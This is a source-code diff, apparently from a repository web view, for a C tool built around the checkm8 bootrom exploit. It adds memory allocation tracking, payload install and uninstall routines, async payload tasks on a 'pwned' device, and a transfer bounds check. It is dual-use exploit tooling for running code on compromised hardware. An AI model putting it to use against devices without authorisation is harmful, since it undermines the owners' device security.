void free_device(struct pwned_device *dev)
|
void free_device(struct pwned_device *dev)
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("free_device(dev = %p)\n", dev);
|
checkm8_debug_indent("free_device(dev = %p)\n", dev);
|
||||||
|
|||||||
@@ -17,10 +17,21 @@ struct payload
|
|||||||
int len;
|
int len;
|
||||||
|
|
||||||
DEV_PTR_T install_base;
|
DEV_PTR_T install_base;
|
||||||
|
DEV_PTR_T async_base;
|
||||||
|
|
||||||
struct payload *next;
|
struct payload *next;
|
||||||
struct payload *prev;
|
struct payload *prev;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
struct data
|
||||||
|
{
|
||||||
|
DEV_PTR_T addr;
|
||||||
|
int len;
|
||||||
|
|
||||||
|
struct data *next;
|
||||||
|
struct data *prev;
|
||||||
|
};
|
||||||
|
|
||||||
struct payload *get_payload(PAYLOAD_T p)
|
struct payload *get_payload(PAYLOAD_T p)
|
||||||
{
|
{
|
||||||
struct payload *res;
|
struct payload *res;
|
||||||
@@ -66,43 +77,17 @@ struct payload *get_payload(PAYLOAD_T p)
|
|||||||
res->len = len;
|
res->len = len;
|
||||||
res->data = pl;
|
res->data = pl;
|
||||||
res->install_base = DEV_PTR_NULL;
|
res->install_base = DEV_PTR_NULL;
|
||||||
|
res->async_base = DEV_PTR_NULL;
|
||||||
res->next = NULL;
|
res->next = NULL;
|
||||||
res->prev = NULL;
|
res->prev = NULL;
|
||||||
|
|
||||||
return res;
|
return res;
|
||||||
}
|
}
|
||||||
|
|
||||||
void free_payload(struct payload *p)
|
|
||||||
{
|
|
||||||
free(p);
|
|
||||||
}
|
|
||||||
|
|
||||||
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
|
|
||||||
DEV_PTR_T retval;
|
|
||||||
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
|
|
||||||
|
|
||||||
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
|
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
|
||||||
{
|
|
||||||
free_dev_cmd_resp(resp);
|
|
||||||
checkm8_debug_indent("\tfailed to malloc an address\n");
|
|
||||||
return DEV_PTR_NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
retval = resp->retval;
|
|
||||||
free_dev_cmd_resp(resp);
|
|
||||||
|
|
||||||
checkm8_debug_indent("\tgot address %llX\n", retval);
|
|
||||||
return retval;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||||
{
|
{
|
||||||
struct payload *curr;
|
struct payload *curr;
|
||||||
for(curr = dev->installed; curr != NULL; curr = curr->next)
|
for(curr = dev->inst_pl; curr != NULL; curr = curr->next)
|
||||||
{
|
{
|
||||||
if(curr->type == p) return curr;
|
if(curr->type == p) return curr;
|
||||||
}
|
}
|
||||||
@@ -113,14 +98,14 @@ struct payload *dev_retrieve_payload(struct pwned_device *dev, PAYLOAD_T p)
|
|||||||
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
||||||
{
|
{
|
||||||
struct payload *curr;
|
struct payload *curr;
|
||||||
if(dev->installed == NULL)
|
if(dev->inst_pl == NULL)
|
||||||
{
|
{
|
||||||
dev->installed = pl;
|
dev->inst_pl = pl;
|
||||||
return CHECKM8_SUCCESS;
|
return CHECKM8_SUCCESS;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
for(curr = dev->installed; curr->next != NULL; curr = curr->next);
|
for(curr = dev->inst_pl; curr->next != NULL; curr = curr->next);
|
||||||
|
|
||||||
curr->next = pl;
|
curr->next = pl;
|
||||||
pl->prev = curr;
|
pl->prev = curr;
|
||||||
@@ -128,11 +113,11 @@ int dev_link_payload(struct pwned_device *dev, struct payload *pl)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
int dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
||||||
{
|
{
|
||||||
if(dev->installed == pl)
|
if(dev->inst_pl == pl)
|
||||||
{
|
{
|
||||||
dev->installed = pl->next;
|
dev->inst_pl = pl->next;
|
||||||
return CHECKM8_SUCCESS;
|
return CHECKM8_SUCCESS;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@@ -145,6 +130,108 @@ int *dev_unlink_payload(struct pwned_device *dev, struct payload *pl)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
struct data *dev_retrieve_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||||
|
{
|
||||||
|
struct data *curr;
|
||||||
|
for(curr = dev->inst_data; curr != NULL; curr = curr->next)
|
||||||
|
{
|
||||||
|
if(curr->addr == addr) return curr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int dev_link_data(struct pwned_device *dev, struct data *data)
|
||||||
|
{
|
||||||
|
struct data *curr;
|
||||||
|
if(dev->inst_data == NULL)
|
||||||
|
{
|
||||||
|
dev->inst_data = data;
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
for(curr = dev->inst_data; curr->next != NULL; curr = curr->next);
|
||||||
|
|
||||||
|
curr->next = data;
|
||||||
|
data->prev = curr;
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int dev_unlink_data(struct pwned_device *dev, struct data *data)
|
||||||
|
{
|
||||||
|
if(dev->inst_data == data)
|
||||||
|
{
|
||||||
|
dev->inst_data = data->next;
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
data->prev->next = data->next;
|
||||||
|
if(data->next != NULL)
|
||||||
|
data->next->prev = data->prev;
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DEV_PTR_T get_address(struct pwned_device *dev, LOCATION_T l, int len)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("get_address(dev = %p, loc = %i, len = %i)\n", dev, l, len);
|
||||||
|
DEV_PTR_T retval;
|
||||||
|
unsigned long long malloc_args[2] = {ADDR_DEV_MALLOC, (unsigned long long) len};
|
||||||
|
struct data *new_entry;
|
||||||
|
|
||||||
|
struct dev_cmd_resp *resp = dev_exec(dev, 0, 2, malloc_args);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
checkm8_debug_indent("\tfailed to malloc an address\n");
|
||||||
|
return DEV_PTR_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
retval = resp->retval;
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
new_entry = malloc(sizeof(struct data));
|
||||||
|
new_entry->addr = retval;
|
||||||
|
new_entry->len = len;
|
||||||
|
new_entry->prev = NULL;
|
||||||
|
new_entry->next = NULL;
|
||||||
|
dev_link_data(dev, new_entry);
|
||||||
|
|
||||||
|
checkm8_debug_indent("\tgot address %llX\n", retval);
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
|
||||||
|
int free_address(struct pwned_device *dev, LOCATION_T l, DEV_PTR_T ptr)
|
||||||
|
{
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
struct data *entry;
|
||||||
|
unsigned long long free_args[2] = {ADDR_DEV_FREE, ptr};
|
||||||
|
|
||||||
|
entry = dev_retrieve_data(dev, ptr);
|
||||||
|
if(entry == NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tthis pointer was not allocated through the payload interface, not freeing\n");
|
||||||
|
return CHECKM8_FAIL_NOINST;
|
||||||
|
}
|
||||||
|
|
||||||
|
resp = dev_exec(dev, 0, 2, free_args);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
dev_unlink_data(dev, entry);
|
||||||
|
free(entry);
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
||||||
{
|
{
|
||||||
@@ -178,8 +265,6 @@ int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc)
|
|||||||
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
|
checkm8_debug_indent("uninstall payload(dev = %p, p = %i)\n", dev, p);
|
||||||
unsigned long long free_args[2];
|
|
||||||
struct dev_cmd_resp *resp;
|
|
||||||
struct payload *pl = dev_retrieve_payload(dev, p);
|
struct payload *pl = dev_retrieve_payload(dev, p);
|
||||||
|
|
||||||
if(pl == NULL)
|
if(pl == NULL)
|
||||||
@@ -188,19 +273,31 @@ int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p)
|
|||||||
return CHECKM8_FAIL_INVARGS;
|
return CHECKM8_FAIL_INVARGS;
|
||||||
}
|
}
|
||||||
|
|
||||||
free_args[0] = ADDR_DEV_FREE;
|
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, pl->install_base)))
|
||||||
free_args[1] = pl->install_base;
|
|
||||||
|
|
||||||
resp = dev_exec(dev, 0, 2, free_args);
|
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
|
||||||
{
|
{
|
||||||
free_dev_cmd_resp(resp);
|
checkm8_debug_indent("\tfailed to free memory used by payload!\n");
|
||||||
checkm8_debug_indent("\tfailed to free allocated payload memory\n");
|
|
||||||
return CHECKM8_FAIL_XFER;
|
return CHECKM8_FAIL_XFER;
|
||||||
}
|
}
|
||||||
|
|
||||||
dev_unlink_payload(dev, pl);
|
dev_unlink_payload(dev, pl);
|
||||||
free_payload(pl);
|
free(pl);
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
int uninstall_all_payloads(struct pwned_device *dev)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("uninstall_all_payloads(dev = %p)\n");
|
||||||
|
int ret;
|
||||||
|
while(dev->inst_pl != NULL)
|
||||||
|
{
|
||||||
|
ret = uninstall_payload(dev, dev->inst_pl->type);
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\terror while uninstalling\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return CHECKM8_SUCCESS;
|
return CHECKM8_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -217,47 +314,6 @@ DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
|
|
||||||
struct dev_cmd_resp *resp;
|
|
||||||
DEV_PTR_T addr = get_address(dev, loc, len);
|
|
||||||
|
|
||||||
if(addr == -1)
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("\tfailed to get an address\n");
|
|
||||||
return DEV_PTR_NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
checkm8_debug_indent("\twriting data to address %X\n", addr);
|
|
||||||
resp = dev_write_memory(dev, addr, data, len);
|
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("\tfailed to write data\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
free_dev_cmd_resp(resp);
|
|
||||||
return addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
|
|
||||||
struct dev_cmd_resp *resp;
|
|
||||||
unsigned long long free_args[2] = {ADDR_DEV_FREE, addr};
|
|
||||||
|
|
||||||
resp = dev_exec(dev, 0, 2, free_args);
|
|
||||||
if(IS_CHECKM8_FAIL(resp->ret))
|
|
||||||
{
|
|
||||||
checkm8_debug_indent("failed to free memory at %x\n", addr);
|
|
||||||
return CHECKM8_FAIL_XFER;
|
|
||||||
}
|
|
||||||
|
|
||||||
return CHECKM8_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
|
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...)
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
|
checkm8_debug_indent("execute_payload(dev = %p, p = %i, response_len = %i, nargs = %i, ...)\n",
|
||||||
@@ -290,13 +346,15 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int
|
|||||||
return dev_exec(dev, response_len, nargs + 1, args);
|
return dev_exec(dev, response_len, nargs + 1, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
unsigned long long execute_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
|
unsigned long long setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...)
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("execute_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
|
checkm8_debug_indent("setup_payload_async(dev = %p, p = %i, bufsize = %i, nargs = %i, ...)\n",
|
||||||
dev, p, bufsize, bufsize, nargs);
|
dev, p, bufsize, bufsize, nargs);
|
||||||
int i;
|
int i;
|
||||||
struct dev_cmd_resp *resp;
|
struct dev_cmd_resp *resp;
|
||||||
struct payload *pl;
|
struct payload *pl;
|
||||||
|
DEV_PTR_T buf_addr;
|
||||||
|
unsigned long long buf_args[nargs], task_args[5];
|
||||||
|
|
||||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||||
{
|
{
|
||||||
@@ -304,13 +362,184 @@ unsigned long long execute_payload_async(struct pwned_device *dev, PAYLOAD_T p,
|
|||||||
return DEV_PTR_NULL;
|
return DEV_PTR_NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
checkm8_debug_indent("\tadjusting buffer size (if necessary)\n");
|
||||||
if(bufsize < nargs * sizeof(unsigned long long))
|
if(bufsize < nargs * sizeof(unsigned long long))
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
|
checkm8_debug_indent("\texpanding buffer to fit (at least) provided arguments\n");
|
||||||
bufsize = nargs * sizeof(unsigned long long);
|
bufsize = nargs * sizeof(unsigned long long);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
buf_addr = get_address(dev, SRAM, bufsize);
|
||||||
|
if(buf_addr == DEV_PTR_NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to get a shared buffer for the payload\n");
|
||||||
|
return DEV_PTR_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
va_list arg_list;
|
||||||
|
va_start(arg_list, nargs);
|
||||||
|
for(i = 0; i < nargs; i++)
|
||||||
|
{
|
||||||
|
buf_args[i] = va_arg(arg_list, unsigned long long);
|
||||||
|
checkm8_debug_indent("\textracted arg %lx\n", buf_args[i]);
|
||||||
|
}
|
||||||
|
va_end(arg_list);
|
||||||
|
|
||||||
|
resp = dev_write_memory(dev, buf_addr, (unsigned char *) buf_args, nargs * sizeof(unsigned long long));
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to write args to shared buffer\n");
|
||||||
|
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
return DEV_PTR_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
task_args[0] = ADDR_TASK_NEW;
|
||||||
|
task_args[1] = 0x10001943b; // todo: name pointer
|
||||||
|
task_args[2] = pl->install_base;
|
||||||
|
task_args[3] = buf_addr;
|
||||||
|
task_args[4] = 0x4000;
|
||||||
|
|
||||||
|
resp = dev_exec(dev, 0, 5, task_args);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to create a new task\n");
|
||||||
|
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
return DEV_PTR_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
pl->async_base = resp->retval;
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
return buf_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
|
||||||
|
struct payload *pl;
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
unsigned long long args[2];
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tpayload is not installed!\n");
|
||||||
|
return CHECKM8_FAIL_NOINST;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pl->async_base == DEV_PTR_NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
|
||||||
|
return CHECKM8_FAIL_NOINST;
|
||||||
|
}
|
||||||
|
|
||||||
|
args[0] = ADDR_TASK_RUN;
|
||||||
|
args[1] = pl->async_base;
|
||||||
|
|
||||||
|
resp = dev_exec(dev, 0, 2, args);
|
||||||
|
retval = resp->ret;
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
|
||||||
|
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
|
||||||
|
struct payload *pl;
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
unsigned long long args[2];
|
||||||
|
|
||||||
|
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tpayload is not installed\n");
|
||||||
|
return CHECKM8_FAIL_NOINST;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pl->async_base == DEV_PTR_NULL)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tasync payload is not set up correctly\n");
|
||||||
|
return CHECKM8_FAIL_NOINST;
|
||||||
|
}
|
||||||
|
|
||||||
|
args[0] = ADDR_TASK_FREE;
|
||||||
|
args[1] = pl->async_base;
|
||||||
|
|
||||||
|
resp = dev_exec(dev, 0, 2, args);
|
||||||
|
pl->async_base = DEV_PTR_NULL;
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to kill payload\n");
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to free shared buffer\n");
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
DEV_PTR_T addr = get_address(dev, loc, len);
|
||||||
|
|
||||||
|
if(addr == -1)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to get an address\n");
|
||||||
|
return DEV_PTR_NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
checkm8_debug_indent("\twriting data to address %X\n", addr);
|
||||||
|
resp = dev_write_memory(dev, addr, data, len);
|
||||||
|
if(IS_CHECKM8_FAIL(resp->ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to write data\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
free_dev_cmd_resp(resp);
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
|
||||||
|
return free_address(dev, SRAM, addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
int uninstall_all_data(struct pwned_device *dev)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
|
||||||
|
int retval;
|
||||||
|
|
||||||
|
while(dev->inst_data != NULL)
|
||||||
|
{
|
||||||
|
retval = uninstall_data(dev, dev->inst_data->addr);
|
||||||
|
if(IS_CHECKM8_FAIL(retval))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\terror while uninstalling data\n");
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return CHECKM8_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
|
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
|
||||||
|
|||||||
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
|
|||||||
// get the size of this chunk
|
// get the size of this chunk
|
||||||
size = 0;
|
size = 0;
|
||||||
ard_read(dev, (unsigned char *) &size, 2);
|
ard_read(dev, (unsigned char *) &size, 2);
|
||||||
|
if(size > ARD_BUF_SIZE)
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
|
||||||
|
return CHECKM8_FAIL_XFER;
|
||||||
|
}
|
||||||
|
|
||||||
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
|
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
|
||||||
|
|
||||||
ard_read(dev, (unsigned char *) &data[amount], size);
|
ard_read(dev, (unsigned char *) &data[amount], size);
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
|
|
||||||
#define CHECKM8_LOGGING
|
#define CHECKM8_LOGGING
|
||||||
|
|
||||||
//#define WITH_ARDUINO
|
#define WITH_ARDUINO
|
||||||
#define ARDUINO_DEV "/dev/ttyACM0"
|
#define ARDUINO_DEV "/dev/ttyACM0"
|
||||||
#define ARDUINO_BAUD 115200
|
#define ARDUINO_BAUD 115200
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user